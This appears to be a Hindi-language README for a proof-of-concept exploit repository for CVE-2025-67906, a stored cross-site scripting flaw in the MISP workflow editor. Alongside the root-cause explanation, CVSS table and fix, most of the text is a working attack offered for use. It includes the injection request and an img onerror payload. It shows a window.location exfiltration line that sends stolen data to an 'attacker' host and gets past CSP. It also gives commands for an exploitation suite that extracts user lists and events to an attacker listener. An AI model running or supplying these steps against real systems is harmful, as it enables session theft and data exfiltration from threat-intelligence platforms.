
MISP <= 2.5.27 - संग्रहीत क्रॉस-साइट स्क्रिप्टिंग वर्कफ़्लो इंजन के माध्यम से (doT.js टेम्पलेट इंजेक्शन).
MISP <= 2.5.27 - वर्कफ़्लो इंजन के माध्यम से संग्रहित क्रॉस-साइट स्क्रिप्टिंग (doT.js टेम्पलेट इंजेक्शन)
Franck FERMAN द्वारा खोजा गया
अवलोकन - मूल कारण - हमला श्रृंखला - संरचना - उपयोग - सुधार - संदर्भ
CVE-2025-67906 (GCVE-1-2025-0031) MISP (मैलवेयर सूचना साझाकरण प्लेटफ़ॉर्म) संस्करण 2.5.27 और उससे पहले के संस्करणों में एक संग्रहित क्रॉस-साइट स्क्रिप्टिंग (XSS) भेद्यता है।
यह भेद्यता app/View/Elements/Workflows/executionPath.ctp में स्थित है, जो वर्कफ़्लो निष्पादन पथ दृश्य घटक है। वर्कफ़्लो ट्रिगर्स का name फ़ील्ड सर्वर-साइड स्वच्छता के बिना डेटाबेस में संग्रहीत किया जाता है और बाद में doT.js टेम्पलेट इंजन के माध्यम से DOM में HTML एस्केपिंग के बिना प्रस्तुत किया जाता है। एक प्रमाणित हमलावर मनमाना HTML/JavaScript इंजेक्ट कर सकता है जो समझौता किए गए वर्कफ़्लो को देखने वाले किसी भी उपयोगकर्ता के ब्राउज़र सत्र में निष्पादित होता है।
चूंकि पेलोड डेटाबेस में संग्रहीत होता है और प्रत्येक पृष्ठ लोड पर प्रस्तुत किया जाता है, XSS स्थायी है – यह पृष्ठ ताज़ा करने पर बना रहता है, कई उपयोगकर्ताओं को प्रभावित करता है, और वर्कफ़्लो को स्पष्ट रूप से हटाए जाने तक बना रहता है।
खोज: यह भेद्यता Franck FERMAN द्वारा पहचानी गई और जिम्मेदारी से प्रकट की गई।
इस भेद्यता के लिए कई CVSS मूल्यांकन मौजूद हैं:
स्कोर विचलन प्रभाव गहराई के अलग-अलग आकलन को दर्शाता है। NIST NVD स्कोर (9.0) पूर्ण गोपनीयता, अखंडता और उपलब्धता प्रभाव को ध्यान में रखता है, क्योंकि XSS पेलोड पीड़ित के सत्र विशेषाधिकारों के साथ निष्पादित होता है, जो प्रशासन-स्तरीय डेटा निष्कर्षण और वर्कफ़्लो हेरफेर को सक्षम बनाता है। CNA स्कोर (5.4) एक सामान्य XSS के लिए केवल सीमित C/I प्रभाव पर विचार करता है। GCVE CVSS 4.0 स्कोर (7.1) हमला आवश्यकताएँ (विशेषाधिकार) और सक्रिय उपयोगकर्ता इंटरैक्शन संशोधक प्रस्तुत करता है।
सभी मूल्यांकनों में दायरा बदला हुआ है क्योंकि हमलावर का पेलोड (MISP API के माध्यम से इंजेक्ट) एक अलग सुरक्षा संदर्भ (पीड़ित के ब्राउज़र सत्र) में निष्पादित होता है।
MISP का वर्कफ़्लो इंजन प्रमाणित उपयोगकर्ताओं को REST API के माध्यम से वर्कफ़्लो बनाने और संपादित करने की अनुमति देता है। वर्कफ़्लो डेटा मॉडल में एक trigger घटक शामिल है जिसमें name फ़ील्ड है। यह फ़ील्ड:
doT.js एक तेज़ जावास्क्रिप्ट टेम्पलेटिंग इंजन है। यह इंटरपोलेशन के लिए {{= }} का उपयोग करता है, जो डिफ़ॉल्ट रूप से HTML से बच नहीं पाता। MISP वर्कफ़्लो संपादक ट्रिगर मेटाडेटा (जिसमें name फ़ील्ड शामिल है) को DOM में प्रस्तुत करने के लिए doT.js का उपयोग करता है। जब name फ़ील्ड में `` जैसा HTML होता है, तो टेम्पलेट इंजन इसे कच्चे HTML के रूप में सम्मिलित करता है, और ब्राउज़र एम्बेडेड जावास्क्रिप्ट निष्पादित करता है।
सुधार के लिए आवश्यक है:
{{! }} पर स्विच करना, जो मान को HTML-एस्केप करता हैPOST /workflows/edit/{id}
{
"Workflow": {
"id": "1",
"data": "{\"1\":{\"data\":{\"name\":\"\"}}}"
}
}
data JSON फ़ील्ड के अंदर name मान इंजेक्शन बिंदु है। संपूर्ण वर्कफ़्लो ग्राफ़ अनुरोध निकाय में एक JSON स्ट्रिंग के रूप में क्रमबद्ध है।
भेद्यता एक क्लाइंट-साइड टेम्पलेट इंजन (doT.js) का उपयोग करके दृश्य वर्कफ़्लो संपादक प्रस्तुत करने के वास्तुशिल्पीय विकल्प द्वारा प्रवर्धित होती है। वर्कफ़्लो संपादक एक ग्राफिकल ड्रैग-एंड-ड्रॉप इंटरफ़ेस है जहां प्रत्येक ट्रिगर/क्रिया को एक दृश्य ब्लॉक के रूप में प्रदर्शित किया जाता है। ट्रिगर का name फ़ील्ड इन ग्राफिकल ब्लॉकों के अंदर एक लेबल के रूप में प्रस्तुत किया जाता है।
doT.js टेम्पलेट से HTML स्ट्रिंग उत्पन्न करके और उन्हें DOM में सम्मिलित करके दृश्य घटकों का निर्माण करता है। {{= }} इंटरपोलेशन सिंटैक्स अनएस्केप्ड आउटपुट उत्पन्न करता है – टेम्पलेट में इंटरपोलेट किया गया कोई भी डेटा मार्कअप के रूप में माना जाता है, न कि टेक्स्ट के रूप में। यदि उसी name फ़ील्ड को element.textContent (जो इनपुट को सादे टेक्स्ट के रूप में मानता है) या doT.js के अपने {{! }} एन्कोडेड आउटपुट सिंटैक्स के माध्यम से प्रस्तुत किया जाता, तो इनपुट सामग्री की परवाह किए बिना कोई XSS संभव नहीं होता।
हमले की सतह ठीक इसलिए मौजूद है क्योंकि:
{{= }}) का उपयोग करता हैname फ़ील्ड में संग्रहीत कोई भी स्ट्रिंग ब्राउज़र द्वारा HTML के रूप में व्याख्यायित की जाती हैयह वेब अनुप्रयोगों में एक सामान्य भेद्यता पैटर्न है जो इंटरैक्टिव दृश्य इंटरफ़ेस बनाने के लिए क्लाइंट-साइड टेम्पलेट इंजन का उपयोग करते हैं: समृद्ध प्रतिपादन की आवश्यकता टेम्पलेट और उसके डेटा स्रोतों के बीच एक अंतर्निहित विश्वास संबंध बनाती है, और कोई भी अनियंत्रित उपयोगकर्ता इनपुट जो टेम्पलेट तक पहुंचता है, निष्पादन योग्य कोड बन जाता है।
<script> क्यों नहींटेम्पलेट इंटरपोलेशन के माध्यम से इंजेक्ट किया गया एक कच्चा <script> टैग आमतौर पर इस संदर्भ में निष्पादित नहीं होगा। ब्राउज़र प्रारंभिक पृष्ठ पार्सिंग (innerHTML या समकक्ष के माध्यम से) के बाद DOM में डाले गए <script> तत्वों को नहीं चलाते हैं। HTML तत्वों पर इवेंट हैंडलर विशेषताएँ जैसे onerror, onload, या onmouseover इस प्रतिबंध को दरकिनार कर देती हैं क्योंकि वे इनलाइन जावास्क्रिप्ट को फायर करते हैं जब ब्राउज़र तत्व की विशेषताओं को संसाधित करता है, भले ही तत्व कैसे डाला गया हो।
<img src="https://raw.githubusercontent.com/franckferman/cve-2025-67906/HEAD/x" onerror="..."> वेक्टर को प्राथमिकता दी जाती है क्योंकि:
src="x" तत्काल लोड विफलता की गारंटी देता है, उपयोगकर्ता इंटरैक्शन के बिना onerror को ट्रिगर करता है<script> टैग को अवरुद्ध करने वाले CSP script-src प्रतिबंधों को दरकिनार करता है, क्योंकि निष्पादन एक गैर-स्क्रिप्ट तत्व पर इवेंट हैंडलर के माध्यम से होता हैMISP इंस्टेंस आमतौर पर कंटेंट सिक्योरिटी पॉलिसी हेडर तैनात करते हैं जो connect-src को प्रतिबंधित करते हैं, बाहरी ऑरिजिन के लिए fetch() और XMLHttpRequest कॉल को रोकते हैं। इस PoC में निष्कर्षण पेलोड API कॉल के बजाय window.location (नेविगेशन) का उपयोग करके CSP को दरकिनार करते हैं:
// CSP connect-src द्वारा अवरुद्ध:
fetch('http://attacker/exfil?data=' + stolen_data); // CSP उल्लंघन
// अवरुद्ध नहीं - नेविगेशन CSP द्वारा नियंत्रित नहीं है:
window.location = 'http://attacker/exfil?data=' + stolen_data; // काम करता है
CSP के पास कोई निर्देश नहीं है जो यह नियंत्रित करता है कि कोई पृष्ठ कहाँ नेविगेट कर सकता है। navigate-to निर्देश CSP स्तर 3 में प्रस्तावित किया गया था लेकिन कभी भी किसी ब्राउज़र द्वारा लागू नहीं किया गया और इसे प्रभावी रूप से छोड़ दिया गया है। यह CSP नीति की परवाह किए बिना, किसी भी XSS संदर्भ से डेटा निष्कर्षण के लिए window.location को एक विश्वसनीय CSP बाईपास बनाता है।
इसका व्यापार-बंद यह है कि नेविगेशन पीड़ित को दिखाई देता है (पृष्ठ बदलता है)। server/redirector.py तुरंत MISP इंस्टेंस पर वापस HTTP 302 रीडायरेक्ट जारी करके इसे कम करता है, जिससे केवल एक संक्षिप्त दृश्य फ्लैश बनता है। पीड़ित के दृष्टिकोण से, पृष्ठ पुनः लोड होता दिखता है।
निष्कर्षण डेटा प्रवाह:
पीड़ित ब्राउज़र हमलावर (redirector.py) MISP
| | |
|-- GET /exfil?data=<चुराया> ---->| |
| | [डेटा कैप्चर, प्रिंट] |
|<-- 302 Location: misp.url ------| |
| | |
|-- GET /workflows/view/1 ----------------------------------------->|
|<-- सामान्य MISP पृष्ठ ----------------------------------------------|
पूरे राउंड-ट्रिप में ~100-200ms लगते हैं। पीड़ित को अधिकतम एक पृष्ठ फ्लैश दिखाई देता है।
सुरक्षा मूल्यांकनों में एक सामान्य ग़लतफ़हमी यह है कि XSS भेद्यताओं का सीमित व्यावहारिक प्रभाव होता है ("यह सिर्फ़ एक अलर्ट बॉक्स है")। वास्तविक रेड टीम अभियानों में, एक संग्रहित XSS - विशेष रूप से बिना-क्लिक किए लगातार बना रहने वाला - एक उच्च-मूल्य का निष्कर्ष है, ठीक इसलिए क्योंकि हमलावर को पीड़ित से कुछ भी क्लिक करने की आवश्यकता नहीं है। पेलोड स्वचालित रूप से तब फायर होता है जब पृष्ठ प्रस्तुत किया जाता है।
एक संग्रहित XSS व्यवहार में क्या सक्षम बनाता है:
HttpOnly के रूप में चिह्नित नहीं हैं, तो हमलावर प्रशासन सत्र कुकी चुरा लेता है और खाते पर कब्जा कर लेता है। HttpOnly के साथ भी, DOM में या API प्रतिक्रियाओं में उजागर सत्र टोकन निकाले जा सकते हैं।document.body.innerHTML या लक्षित DOM क्वेरी के माध्यम से पढ़ने योग्य हैं।जब CSP जैसी सुरक्षा बाहरी अनुरोधों (connect-src, script-src) को प्रतिबंधित करती है, तो निष्कर्षण वेक्टर अनुकूलित हो जाता है – जैसा कि इस PoC में window.location नेविगेशन बाईपास के साथ प्रदर्शित किया गया है। CSP बार को ऊपर उठाता है लेकिन जोखिम को समाप्त नहीं करता है। जब HttpOnly कुकी चोरी को रोकता है, तो हमलावर प्रमाणित सत्र में सीधे दिखाई देने वाले डेटा के DOM-आधारित निष्कर्षण की ओर मुड़ जाता है।
एक पेंटेस्ट/रेड टीम संदर्भ में, MISP जैसे प्लेटफ़ॉर्म पर एक संग्रहित XSS (जो खतरे की खुफिया जानकारी, IOC और संगठनात्मक डेटा एकत्र करता है) विशेष रूप से महत्वपूर्ण है क्योंकि एक प्रशासन सत्र के माध्यम से सुलभ डेटा स्वयं उच्च-संवेदनशीलता वाला होता है: समझौता के संकेत, आंतरिक जांच विवरण, साझाकरण समूह सदस्यता और अंतर-संगठनात्मक विश्वास संबंध।
1. हमलावर MISP में प्रमाणित करता है (वर्कफ़्लो बनाने की अनुमति वाली कोई भी भूमिका)
|
2. POST /workflows/add -> एक नया वर्कफ़्लो बनाता है, workflow_id + trigger_id प्राप्त करता है
|
3. POST /workflows/edit/{id} -> ट्रिगर "name" फ़ील्ड में HTML/JS पेलोड इंजेक्ट करता है
| पेलोड: <img src="https://raw.githubusercontent.com/franckferman/cve-2025-67906/HEAD/x" onerror="[JAVASCRIPT]">
|
4. पेलोड MISP डेटाबेस में बना रहता है
|
5. पीड़ित (कोई भी प्रमाणित उपयोगकर्ता) /workflows/view/{id} पर जाता है
|
6. doT.js ट्रिगर नाम को कच्चे HTML के रूप में प्रस्तुत करता है -> ब्राउज़र जावास्क्रिप्ट निष्पादित करता है
|
7. प्रभाव पेलोड मोड पर निर्भर करता है:
- alert() निष्पादन का प्रमाण
- Session hijack सत्र कुकी चुराएं
- Data exfil प्रशासन पृष्ठों से उपयोगकर्ता, ईवेंट, API कुंजियाँ निकालें
- Credential theft नकली लॉगिन फ़ॉर्म इंजेक्ट करें
| सॉफ़्टवेयर | प्रभावित | ठीक किया गया |
|---|---|---|
| MISP | <= 2.5.27 | 2.5.28 |
सुधार MISP v2.5.28 में शामिल है। प्रासंगिक पैच कमिट: 1f39deb।
poc_alert_cve_2025_67906.py # सरल PoC - alert() पुष्टि (~200 पंक्तियाँ)
poc_exfiltrate_cve_2025_67906.py # सरल PoC - डेटा निष्कर्षण प्रदर्शन (~150 पंक्तियाँ)
cve_2025_67906.py # पूर्ण शोषण सूट - 7 मोड, कस्टम पेलोड
server/
redirector.py # पारदर्शी 302 रीडायरेक्ट के साथ निष्कर्षण लिसनर
poc_alert_cve_2025_67906.py: न्यूनतम, पढ़ने योग्य। XSS की पुष्टि करने के लिए alert() इंजेक्ट करता है। इसे पहले पढ़ें।poc_exfiltrate_cve_2025_67906.py: न्यूनतम निष्कर्षण प्रदर्शन। पीड़ित के ईमेल/URL को कैप्चर करता है और हमलावर सर्वर को भेजता है।cve_2025_67906.py: 7 पेलोड मोड, कस्टम पेलोड समर्थन, शांत मोड के साथ पूर्ण शोषण सूट।server/redirector.py: HTTP सर्वर जो निकाले गए डेटा को कैप्चर करता है और पीड़ित को पारदर्शी रूप से MISP पर वापस रीडायरेक्ट करता है।Python 3 (केवल मानक पुस्तकालय, शून्य बाहरी निर्भरताएँ)।
git clone https://github.com/franckferman/CVE-2025-67906.git
cd CVE-2025-67906
एक हानिरहित alert() के साथ भेद्यता के अस्तित्व की पुष्टि करें:
python3 poc_alert_cve_2025_67906.py https://misp.target.org YOUR_API_KEY
स्क्रिप्ट द्वारा मुद्रित URL पर जाएँ। एक अलर्ट बॉक्स XSS निष्पादन की पुष्टि करता है।
# टर्मिनल 1: निष्कर्षण लिसनर प्रारंभ करें
python3 server/redirector.py https://misp.target.org --port 8000
# टर्मिनल 2: पेलोड इंजेक्ट करें
python3 poc_exfiltrate_cve_2025_67906.py https://misp.target.org YOUR_API_KEY --attacker YOUR_IP:8000
जब कोई पीड़ित वर्कफ़्लो URL पर जाता है, तो उनका ईमेल, उपयोगकर्ता नाम और पृष्ठ URL लिसनर द्वारा कैप्चर किया जाता है।
# अलर्ट मोड (डिफ़ॉल्ट)
python3 cve_2025_67906.py https://misp.target.org API_KEY
# प्रशासन पृष्ठ से उपयोगकर्ता सूची निकालें
python3 cve_2025_67906.py https://misp.target.org API_KEY \
--mode exfiltrate_users --attacker YOUR_IP:8000
# ईवेंट सूची निकालें
python3 cve_2025_67906.py https://misp.target.org API_KEY \
--mode exfiltrate_events --attacker YOUR_IP:8000 --limit 50
# कस्टम पेलोड
python3 cve_2025_67906.py https://misp.target.org API_KEY \
--payload ''
# शांत मोड (न्यूनतम आउटपुट)
python3 cve_2025_67906.py https://misp.target.org API_KEY --mode alert --quiet
{{= }} (कच्चा) से {{! }} (HTML-एन्कोडेड) पर स्विच करेंname फ़ील्ड की सर्वर-साइड स्वच्छता (HTML टैग हटाएं, एंटिटी एन्कोड करें)यह उपकरण केवल अधिकृत सुरक्षा ऑडिटिंग, अकादमिक अनुसंधान और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। सिस्टम स्वामी से स्पष्ट लिखित अनुमति के बिना सिस्टम के विरुद्ध उपयोग अवैध है। लेखक अनधिकृत या दुर्भावनापूर्ण उपयोग के लिए कोई दायित्व स्वीकार नहीं करता है।
| स्रोत | स्कोर | गंभीरता | वेक्टर |
|---|
| NIST NVD | 9.0 | गंभीर | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H |
| GCVE (CIRCL) | 7.1 | उच्च | CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H |
| CNA (MITRE) | 5.4 | मध्यम | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N |
| मोड | प्रभाव | आवश्यकता |
|---|
alert | XSS निष्पादन की पुष्टि करता है | कोई भी उपयोगकर्ता वर्कफ़्लो देखे |
alert_info | पीड़ित के ईमेल और URL को प्रदर्शित करता है | कोई भी उपयोगकर्ता वर्कफ़्लो देखे |
console_info | उपयोगकर्ता ईमेल, भूमिका, URL को DevTools में लॉग करता है | कोई भी उपयोगकर्ता वर्कफ़्लो देखे |
exfiltrate_users | /admin/users/index से उपयोगकर्ता सूची (ID, Org, Role, Email) निकालता है | प्रशासक वर्कफ़्लो देखे + हमलावर लिसनर |
exfiltrate_page | वर्तमान पृष्ठ सामग्री और उपयोगकर्ता पहचान कैप्चर करता है | कोई भी उपयोगकर्ता वर्कफ़्लो देखे + हमलावर लिसनर |
exfiltrate_events | ईवेंट सूची (ID, Org, Date, TLP, Info) निकालता है | कोई भी उपयोगकर्ता वर्कफ़्लो देखे + हमलावर लिसनर |
| ID | सामरिकता | तकनीक | प्रासंगिकता |
|---|
| T1059.007 | निष्पादन | जावास्क्रिप्ट | XSS पेलोड पीड़ित के ब्राउज़र में जावास्क्रिप्ट निष्पादित करता है |
| T1189 | प्रारंभिक पहुंच | ड्राइव-बाय समझौता | संग्रहित पेलोड पृष्ठ विज़िट पर ट्रिगर होता है |
| T1557 | संग्रह | ब्राउज़र में प्रतिद्वंद्वी | पेलोड पीड़ित के प्रमाणित सत्र के भीतर काम करता है |
| T1539 | क्रेडेंशियल अभिगम | वेब सत्र कुकी चुराना | यदि HttpOnly सेट नहीं है तो सत्र कुकीज़ सुलभ हैं |
| T1005 | संग्रह | स्थानीय सिस्टम से डेटा | उपयोगकर्ता सूचियों, ईवेंट और पृष्ठ सामग्री का निष्कर्षण |
| मोड | विवरण |
|---|
alert | सरल अलर्ट बॉक्स (डिफ़ॉल्ट, प्रदर्शन के लिए सुरक्षित) |
alert_info | पीड़ित URL, ईमेल, उपयोगकर्ता एजेंट के साथ अलर्ट बॉक्स |
console | Console.log पुष्टि |
console_info | DevTools कंसोल में उपयोगकर्ता ईमेल, भूमिका, URL लॉग करें |
exfiltrate_users | /admin/users/index से उपयोगकर्ता सूची निकालें (प्रशासक पीड़ित की आवश्यकता है) |
exfiltrate_page | वर्तमान पृष्ठ सामग्री और उपयोगकर्ता पहचान कैप्चर करें |
exfiltrate_events | ID, Org, Date, TLP, Info के साथ ईवेंट सूची निकालें |